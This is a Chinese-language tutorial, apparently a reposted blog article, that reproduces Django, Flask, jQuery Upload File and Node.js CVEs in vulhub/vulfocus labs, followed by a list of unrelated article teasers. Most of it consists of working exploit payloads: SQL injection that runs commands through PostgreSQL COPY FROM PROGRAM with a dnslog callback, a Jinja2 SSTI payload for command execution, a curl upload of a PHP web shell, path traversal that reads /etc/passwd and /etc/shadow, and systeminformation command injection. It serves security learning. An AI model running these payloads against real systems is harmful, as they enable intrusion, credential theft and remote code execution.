框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现

目录

  • 服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
    • 中间件列表介绍
    • 常见语言开发框架
    • Python开发框架安全-Django&Flask漏洞复现
      • Django开发框架
      • 漏洞复现
        • CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
        • CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)
      • Flask Jinja2 SSTI
      • 漏洞复现
        • Flask(Jinja2) 服务端模板注入漏洞
    • JavaScript开发框架安全-Jquery&Node漏洞复现
      • jQuery框架
      • 漏洞复现
        • CVE_2018_9207-jQuery Upload File漏洞复现
      • Node.js
      • 漏洞复现
        • Node.js 目录穿越漏洞(CVE-2017-14849)
        • Node.js 命令执行 (CVE-2021-21315)

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA:Spring MyBatis Hibernate Struts2 Springboot 等

Python:Django Flask Bottle Turbobars Tornado Web2py 等

Javascript:Vue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试:

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程:

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程:

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍:django(Python Web 框架)详解

Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。

安全问题:

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)

该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。

靶场:vulhub

参考:Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境:

image-20231029172437823

访问web界面:

image-20231029172549248

首先,使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号:admin 密码:a123123123

成功登录:

image-20231029172835555

然后转到模型的列表视图:

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中,其中是 JSONField:

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功,SQL语句报错:

image-20231029173547506

创建 cmd_exec:

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果:

成功创建

image-20231029173642878

调用 cmd_exec 执行命令:

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

image-20231029174041806

DNSlog回显效果:

image-20231029174025586

CVE-2021-35042(Django QuerySet.order_by SQL注入漏洞)

该漏洞需要开发人员使用order_by功能。此外,还可以控制查询集的输入。

靶场:vulhub

参考:Django QuerySet.order_by SQL注入漏洞复现

image-20231029174553987

开启环境:

image-20231029175205490

访问web界面:

image-20231029175521855

首先,转到列表视图并添加到 GET 参数。

payload:

http://your-ip:8000/vuln/order=-id

执行过后会看到按 id 降序排序的数据:

image-20231029175503012

payload:
目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23

可以看到单括号已经注入成功,可以从错误中获取信息。

查看目录:

image-20231029175617387

爆版本号:

image-20231029175653357

爆数据库名:

image-20231029175735226

Flask Jinja2 SSTI

介绍:Flask详解

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug ,模板引擎则使用 Jinja2。Flask使用 BSD 授权。

Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

安全问题:

Flask(Jinja2) 服务端模板注入漏洞

漏洞复现

Flask(Jinja2) 服务端模板注入漏洞

靶场:vulhub

参考:Flask(Jinja2) 服务端模板注入漏洞复现

image-20231029180646523

开启环境:

image-20231029180816652

访问web界面:

image-20231029180838789

接下来进行访问,http://your-ip/?name={{123*123}},得到15129这个结果,则说明SSTI漏洞存在。

image-20231029181008341

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

ps:需要进行url编码,编码过后直接通过GET请求,发送即可。

image-20231029181552579

执行命令处,自定义像要执行的命令,查看的信息,每次更换命令都需要进行URL编码重新发送。

image-20231029181214232

其他命令:ls,whoami

执行效果:

image-20231029181451946

image-20231029181527216

JavaScript开发框架安全-Jquery&Node漏洞复现

jQuery框架

介绍:jQuery详解

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。jQuery设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。

安全问题:

CVE_2018_9207

CVE_2018_9208

CVE_2018_9209

漏洞复现

CVE_2018_9207-jQuery Upload File漏洞复现

jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

靶场:vulfocus

开启靶场:

image-20231029214847162

访问web界面:

image-20231029214903143

访问框架引用目录结构:

/jquery-upload-file/

image-20231029214930061

利用:

一条命令即可解决,访问并上传文件。

payload:
//访问网站,进行上传;前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

上传shell.php:

image-20231029215115640

上传cmd.php:

image-20231029215508572

查看:

上传文件所在位置:(后门为php)

/jquery-upload-file/php/uploads/

image-20231029215132838

image-20231029215532519

验证,可否解析执行:

image-20231029215146073

使用蚁剑连接:

连接成功

image-20231029215237733

其他列出的安全问题,基本都差不多。

Node.js

详解:node.js详解

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,用于方便的搭建响应
速度快、易于拓展的网络应用。

Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用

安全问题:

CVE_2021_21315

CVE_2017_14849

漏洞复现

Node.js 目录穿越漏洞(CVE-2017-14849)

Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序,以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误,导致向上层跳跃的时候(如../../../../../../etc/passwd),在中间位置增加foo/../(如../../../foo/../../../../etc/passwd),即可使normalize返回/etc/passwd,但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于normalize函数。比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。

靶场:vulfocus

参考:CVE-2017-14849复现

开启环境:

image-20231029220842271

访问web界面:

image-20231029220949792

其中引用到了文件/static/main.js,说明其存在静态文件服务器。

image-20231029222139768

构造请求:

通过GET请求发送以下数据包即可:
GET:
...
/static/../../../a/../../../../etc/passwd
...

完整数据包:

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

发送给重发器,然后再发送数据包过后:

(如果打开web界面抓包时,构造请求后,发包无法正常回显,状态码报错。可尝试删除cookie等相关信息,不然可能会无法正常回显,错误状态码。如果正常回显,就可以不用删除。)

image-20231029221917617

效果:成功读取/etc/passwd文件

image-20231029221456694

效果:成功读取/etc/shadow文件

image-20231029221517759

Node.js 命令执行 (CVE-2021-21315)

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息 npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞(CVE-2021-21315),其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

靶场:vulfocus

开启环境:

image-20231029222901495

访问web界面:

image-20231029222827237

构造GET请求:

payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)

执行过后:

image-20231029224746956

验证:

成功生成该文件

docker ps
docker exec -it id /bin/bash

image-20231029224713536

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/125825.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

9. linux系统设置开机自启动发射热点

1. 说明 某种情况下需要使用wifi进行通信时&#xff0c;可以在linux系统中发射一个热点让以使别的设备能够连接&#xff0c;然后进行通信。一般情况下可以在有无线wifi发射器的情况下&#xff0c;每次linux系统开机后&#xff0c;手动设置开启热点&#xff0c;但这种方式比较麻…

分享一下怎么做陪诊小程序

在当今快节奏的社会中&#xff0c;人们的生活压力越来越大&#xff0c;尤其是在大城市中&#xff0c;由于工作繁忙&#xff0c;生活节奏快&#xff0c;很多人都感到看病难、看病贵的问题。为了解决这一问题&#xff0c;陪诊小程序应运而生。陪诊小程序是一种可以提供线上预约、…

Redis Cluster (Redis 集群),使用Redis自带的集群功能搭建无主模式集群

文章目录 一、概述二、模拟配置说明三、脚本方式创建 Redis Cluster3.1 配置创建脚本3.2 启动集群实例3.3 创建集群3.4 测试集群3.5 停止集群实例3.6 删除&#xff08;清空&#xff09;集群 四、手动创建集群 Redis Cluster4.1 启动集群实例4.2 手动创建集群4.4 测试集群 五、集…

C/C++药房管理 2021年3月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C药房管理 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C药房管理 2021年3月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 随着信息技术的蓬勃发展&#xff0c;医疗信息化已经成为…

十八、模型构建器(ModelBuilder)快速提取城市建成区——批量掩膜提取夜光数据、夜光数据转面、面数据融合、要素转Excel(基于参考比较法)

一、前言 前文实现批量投影栅格、转为整型,接下来重点实现批量提取夜光数据,夜光数据转面、夜光数据面数据融合、要素转Excel。将相关结果转为Excel,接下来就是在Excel中进行阈值的确定,阈值确定无法通过批量操作,除非采用其他方式,但是那样的学习成本较高,对于参考比较…

【C++】详解map和set基本接口及使用

文章目录 一、关联式容器与键值对1.1关联式容器&#xff08;之前学的都是序列容器&#xff09;1.2键值对pairmake_pair函数&#xff08;map在插入的时候会很方便&#xff09; 1.3树形结构的关联式容器 二、set2.1set的基本介绍2.1默认构造、迭代器区间构造、拷贝构造&#xff0…

yapi通过docker-compose安装遇到的问题

docker无法访问外部网络 https://www.jianshu.com/p/f3ce460625fb iptables: No chain/target/match by that name service docker restart getaddrinfo EAI_AGAIN registry.npmjs.org docker内网络不通&#xff0c;默认docker通过桥接模式连接到宿主机&#xff0c;参考问…

查询Oracle所有用户相关信息

$sqlplus / as sysdba 1. 查询oracle中所有用户信息 select * from dba_users; select * from all_users; select distinct owner from all_objects; 2. 只查询用户和密码 select username,password from dba_users; 3. 查询当前用户信息 select * from dba_ustats; 4…

ROS常用命令及多机(TX2 与虚拟机)通信步骤

目录 ROS常用命令 创建工作空间 编译工作空间 创建功能包 编译功能包 检查环境变量 查看ROS节点关系图 rviz使用 Ubuntu常用命令 ROS多机通信步骤 配置网络 设置网络名称 修改bash 互ping虚拟机与tx2 tx2中启动master 虚拟机中添加镜像源 TX2中添加镜像源 ROS常…

mybatisplus多数据源

适用于多种场景&#xff1a;纯粹多库、 读写分离、 一主多从、 混合模式等 场景说明&#xff1a; 我们创建两个库&#xff0c;分别为&#xff1a;mybatis_plus&#xff08;以前的库不动&#xff09;与mybatis_plus_1&#xff08;新建&#xff09;&#xff0c;将mybatis_plus库…

前端移动web详细解析四

移动 Web 第四天 01-vw适配方案 vw和vh基本使用 vw和vh是相对单位&#xff0c;相对视口尺寸计算结果 vw&#xff1a;viewport width&#xff08;1vw 1/100视口宽度 &#xff09; vh&#xff1a;lviewport height ( 1vh 1/100视口高度 ) vw布局 vw单位的尺寸 px 单位数…

iOS使用AVCaptureSession实现音视频采集

AVCaptureSession配置采集行为并协调从输入设备到采集输出的数据流。要执行实时音视频采集&#xff0c;需要实例化采集会话并添加适当的输入和输出。 AVCaptureSession&#xff1a;管理输入输出音视频流AVCaptureDevice&#xff1a;相机硬件的接口&#xff0c;用于控制硬件特性…

Ubuntu 搭建 DHCP ivp6 server 步骤

Ubuntu 搭建 DHCP ivp6 server 步骤 安装 DHCP server安装 radvd&#xff08;实现局域网路由功能)测试运行 安装 DHCP server apt 安装 isc-dhcp-server sudo apt-get install isc-dhcp-server修改配置文件 /etc/dhcp/dhcpd6.conf 内容如下&#xff1a; lease-time 7200; lo…

excel求差公式怎么使用?

利用excel求差&#xff0c;可能有许多的小伙伴已经会了&#xff0c;不过还是存在一些不太熟悉的朋友们&#xff0c;所以这里有必要讲解一下。其实求差的实现主要就是一个公式&#xff0c;就是用一个单元格中的数字“减去”另一个单元格中的数字“等于”第三个单元格。此公式掌握…

一种异或游戏(题解:分析+思维)

F-一种异或游戏_牛客小白月赛80 (nowcoder.com) 思路&#xff1a; a[i]^b[j]k&#xff0c;b[j]a[i]^k&#xff0c;对于每个a[i]&#xff0c;我们求a[i]^k,判断条件就变成了a[i]b[j]; 对于Alice想赢&#xff0c;就应该尽可能晚的出Bob手里有相同的牌&#xff0c;这样的牌我记…

玻色量子成功研制光量子计算专用光纤恒温控制设备——“量晷”

​近日&#xff0c;北京玻色量子科技有限公司&#xff08;以下简称“玻色量子”&#xff09;成功研制出一款高精度量子计算专用光纤恒温控制设备——“量晷”&#xff0c;该设备能将光纤的温度变化稳定在千分之一摄氏度量级&#xff0c;即能够做到0.001C的温度稳定维持&#xf…

linux报错

linux 安装pytorch报错 CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/linux-64/current_repodata.json> Elapsed: -An HTTP error occurred when trying to retrieve this URL. HTTP errors are ofte…

[SpringCloud] Feign 与 Gateway 简介

目录 一、Feign 简介 1、RestTemplate 远程调用中存在的问题 2、定义和使用 Feign 客户端 3、Feign 自定义配置 4、Feign 性能优化 5、Feign 最佳实践 6、Feign 使用问题汇总 二、Gateway 网关简介 1、搭建网关服务 2、路由断言工厂 3、路由的过滤器配置 4、全局过…

最好用的 Office 功能区编辑器 Ribbon Creator 各版本

最好用的 Office 功能区编辑器 Ribbon Creator 各版本&#xff1a; 所见所得的OFFICE功能区编辑器&#xff08;自定义界面编辑&#xff09;RibbonCreator 对于Microsoft Access 2007、Excel 2007、Word 2007&#xff0c;RibbonCreator是用于开发功能区的WYSIWYG接口。RibbonCre…

Promise封装Ajax请求

Promise 封装 Ajax 请求的示例代码如下&#xff1a; function ajax(url, method, data) {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open(method, url);xhr.setRequestHeader(Content-Type, application/json);xhr.onreadystatechange …